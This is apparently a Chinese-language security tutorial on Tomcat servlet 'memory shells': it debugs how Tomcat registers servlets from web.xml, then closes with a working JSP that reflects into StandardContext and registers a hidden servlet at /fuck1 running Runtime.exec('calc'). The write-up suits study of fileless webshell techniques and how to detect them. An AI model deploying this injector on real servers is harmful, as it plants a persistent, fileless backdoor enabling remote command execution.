Java内存马-Servlet

准备

servlet内存马的研究的本质就是对tomcat创建servlet过程的研究

随便创建一个servlet

    <servlet>
        <servlet-name>servletmem</servlet-name>
        <servlet-class>memshell.servletmem</servlet-class>
    </servlet>

    <!-- 映射 URL 路径 -->
    <servlet-mapping>
        <servlet-name>servletmem</servlet-name>
        <url-pattern>/servletmem</url-pattern>
    </servlet-mapping>

导入tomcat

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.87</version>
            <scope>provided</scope>
        </dependency>

debug

开始debug

盯着catalina就行,这里是servlet执行的地方,去找他是咋来的

image-20250503013109423

这个类有一个私有变量

private Servlet servlet = null;

他的赋值在 this.servlet =servlet

image-20250503013307109

image-20250503013345798

跟到了org/apache/catalina/core/ApplicationFilterFactory.java

image-20250503013415143

这个servlet是传参进来的

 public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) 

image-20250503013528966

调用栈出现过standardwrapperValue,跟进

image-20250503013613835

image-20250503013745545

网上跟到servlet赋值的位置

image-20250503014426503

跟进

返回的是那个instance,他初始化在initServlet(instance);

image-20250503015552950

在往上找,是在这里赋值

servlet = (Servlet) instanceManager.newInstance(servletClass);

image-20250503022616727

跟进servletclass

image-20250503022714179

找到org/apache/catalina/core/StandardWrapper.java里的setServletClass方法

image-20250503022759650

去找这个方法的调用

image-20250503023122231

找servlet赋值,这个for循环位于private void configureContext(WebXml webxml) 也就是这个类的有参构造

在org/apache/catalina/startup/ContextConfig.java调用

image-20250503023242190

webxml来自于org/apache/catalina/startup/ContextConfig.java对web.xml的解析

那么接下来专注于这个位于org/apache/catalina/startup/ContextConfig.java 的 private void configureContext(WebXml webxml)就好了,后续我们研究toncat其他类型内存马的时候也会反复研究这个函数

此处是将xml读取到的东西注入tomcat的位置

有关servlet注入的操作有这几步需要关注

for (ServletDef servlet : webxml.getServlets().values()) {
    Wrapper wrapper = context.createWrapper();
    ...
    wrapper.setName(servlet.getServletName());
    ...
    wrapper.setServletClass(servlet.getServletClass());
    ...
    context.addChild(wrapper);
}   
//添加映射关系

for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

这里的context是StandardContext,可以通过HttpServletRequest.getServletContext.context.context获取

image-20250503031437421

编写脚本

jsp脚本如下

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%!
    public class fuck extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            Process process = Runtime.getRuntime().exec("calc");
        }
    }
%>

<%
    try {
        // 获取 servletContext 对象
        ServletContext servletContext = request.getSession().getServletContext();

        // 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
        Field applicationContextField = servletContext.getClass().getDeclaredField("context");
        applicationContextField.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

        // 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

        // 创建并配置 Wrapper(封装 Servlet 的容器)
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName("fuck");
        wrapper.setServletClass(fuck.class.getName());  // Servlet 类的全限定名
        wrapper.setServlet(new fuck());                // 直接设置实例(可绕懒加载)

        // 添加 Wrapper 到 context
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/fuck1", "fuck");

        out.println("Inject success.");
    } catch (Exception e) {
        e.printStackTrace();
    }
%>
0%